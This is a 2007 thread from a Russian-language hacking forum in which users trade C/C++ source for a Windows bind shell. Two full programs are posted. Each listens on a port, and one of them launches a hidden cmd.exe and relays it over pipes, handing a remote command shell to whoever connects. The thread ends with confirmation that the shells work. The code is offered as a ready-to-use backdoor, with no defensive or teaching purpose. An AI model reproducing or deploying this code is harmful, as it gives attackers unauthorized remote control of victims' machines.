Bindshell src на С++ или на С для win32

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by 4nob1oz, 7 Dec 2007.

  1. 4nob1oz

    4nob1oz Elder - Старейшина

    Joined:
    9 Jul 2007
    Messages:
    30
    Likes Received:
    22
    Reputations:
    0
    Народ есть если у кого киньте, а то я писал писал вчера так и не смог разобраться, какой то фишки не просекаю видать. На перле под win32 нормально работает а на C++ не смог написать. Законнективаюсь но не выводит консоли , потом написал через пайпы попробовал, консоль видно что появилась а команд не выводит результата.

    PS: Помню что ктото выкладывал здесь но поискал но не нашёл.
     
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    привет
    http://forum.antichat.ru/thread19146.html
     
    1 person likes this.
  3. 4nob1oz

    4nob1oz Elder - Старейшина

    Joined:
    9 Jul 2007
    Messages:
    30
    Likes Received:
    22
    Reputations:
    0
    Вообщем посмотрел все сорцы биндшеллов выложенные, мля я хз в чём фишка.

    Скомпилил все кроме крашевского и ничерта у меня не заработал ни один. Коннектился и неткатом и путти и телнетом. Все абсолютно перепробовал и так же после коннекта на забинденный порт не выходит текста, только чёрный экран и всё. Единственный биндшелл(я имею ввиду на С++) это сойтека из blacksun тот который он в сорцах закомментил. Вот тот биндшелл у меня хотябы вывел после коннекта текст но команды не выполнялись.

    Не знаю что делать даже :(
     
  4. __mad

    __mad Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    100
    Likes Received:
    38
    Reputations:
    7
    Code:
    #include <winsock2.h>
    
    void main(int argc, char **argv)
    {
         WSADATA wsd;
         int fd,newfd;
         struct sockaddr_in sin;
         char *cmd = "cmd";
         STARTUPINFO si;
         PROCESS_INFORMATION pi;
    
    	 memset(&si,0,sizeof(si));
    	 memset(&pi,0,sizeof(pi));
    	 
         WSAStartup(0x101,&wsd);
    	 fd=WSASocketA (2,1,0,0,0,0);
    
         sin.sin_family=2;
         sin.sin_addr.s_addr=0;
         sin.sin_port=htons(atoi(argv[1]));
    	 
    	 bind(fd,(struct sockaddr *)&sin, 0x10);
    	 listen(fd,0);
         
    	 newfd=accept(fd,(struct sockaddr *)&sin,0);	 
         si.cb=sizeof(si);
         si.dwFlags=0x0101;
         si.hStdInput=(char*)newfd;
         si.hStdOutput=(char*)newfd;
         si.hStdError=(char*)newfd;
    
         CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);
    
         WaitForSingleObject(pi.hProcess, INFINITE);
         ExitThread(0);
    }
    вот рабочий...
     
  5. 4nob1oz

    4nob1oz Elder - Старейшина

    Joined:
    9 Jul 2007
    Messages:
    30
    Likes Received:
    22
    Reputations:
    0
    Нифига он не работает.

    Вот нормальный рабочий:
    Code:
    #include <winsock2.h>
    #include <stdio.h>
    
    #pragma comment (lib, "Ws2_32.lib")
    
    #define BUFFSIZE 1024 * 5
    
    int main(int argc,char *argv[])
    {
    	WSADATA     wsa;
      SOCKET     listenSock,clientSock;
      char     ip[16] = {0};
      char     buff[BUFFSIZE] = {0};
      int       ret,port;
     
      if( argc != 3 )
      {
        printf( "shell\tListenIP\tListenPort\n" );
        return 0;
      }
    
      WSAStartup(MAKEWORD(2,2),&wsa);
    
      if( strlen(argv[1]) >= 16 ) return 0;
      strcpy( ip , argv[1] );
    
      port = atoi(argv[2]);
    
      listenSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      struct sockaddr_in sin;
    
       memset( &sin,0,sizeof(sin) );
    
      sin.sin_family = AF_INET;
      sin.sin_port = htons(port);
      sin.sin_addr.s_addr = inet_addr(ip);
    
      bind( listenSock,(struct sockaddr*)&sin,sizeof(sin) );
      listen( listenSock , 3 );
    
      int clientSize = sizeof(sin);
      clientSock = accept( listenSock,(struct sockaddr*)&sin,&clientSize );
         
      SECURITY_ATTRIBUTES sa;
     
      sa.nLength = sizeof( sa );
      sa.lpSecurityDescriptor = 0;
      sa.bInheritHandle = TRUE;
    
      HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    
      ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
      ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
         
      STARTUPINFO si;
      ZeroMemory( &si,sizeof(si) );
    
      GetStartupInfo( &si );
     
      si.cb = sizeof( si );
      si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
      si.wShowWindow = SW_HIDE;
      si.hStdInput = hReadPipe2;
      si.hStdOutput = si.hStdError = hWritePipe1;
     
      //si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientSock;
     
      char cmdLine[] = "cmd.exe";
    
      PROCESS_INFORMATION ProcessInformation;
     
      ZeroMemory(&ProcessInformation,sizeof(ProcessInformation));
      ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
    
      unsigned long lBytesRead;
         
      while(1)
      {
        memset( buff,0,BUFFSIZE );
         
          ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,0,0);
         
          int i;
          for(i = 0; i < 5 && lBytesRead == 0; i++)
        {
            Sleep(50);
            ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,NULL,NULL);
        }
         
          if(lBytesRead)
        {
              ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
              if( !ret ) break;
     
            ret=send(clientSock,buff,lBytesRead,0);
              if(ret<=0) break;
          }
        else
        {
              lBytesRead=recv(clientSock,buff,BUFFSIZE,0);
             
              if(lBytesRead<=0) break;
              ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
          }
      }
         
      //WaitForSingleObject( ProcessInformation.hProcess , INFINITE );
     
      CloseHandle(hReadPipe1);
      CloseHandle(hReadPipe2);
      CloseHandle(hWritePipe1);
      CloseHandle(hWritePipe2);
         
      closesocket(clientSock);
      closesocket(listenSock);
      WSACleanup();  
    
    
      return 0;
    }
     
  6. __mad

    __mad Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    100
    Likes Received:
    38
    Reputations:
    7
    руки у тя не рабочие :D
     
    1 person likes this.
  7. 4nob1oz

    4nob1oz Elder - Старейшина

    Joined:
    9 Jul 2007
    Messages:
    30
    Likes Received:
    22
    Reputations:
    0
    Я на локальной машине тестировал до этого а не на удалённой. То есть забиндивал порт и коннектился туда и у меня ничего не выводило. Фишка в самой функции бинда и это описано в мсдн в функции setsockopt как раз и идёт обьяснение. Короче щас затестил и все биндшеллы рабочие. Сорри за тупняк :)
     
    #7 4nob1oz, 9 Dec 2007
    Last edited: 9 Dec 2007
Loading...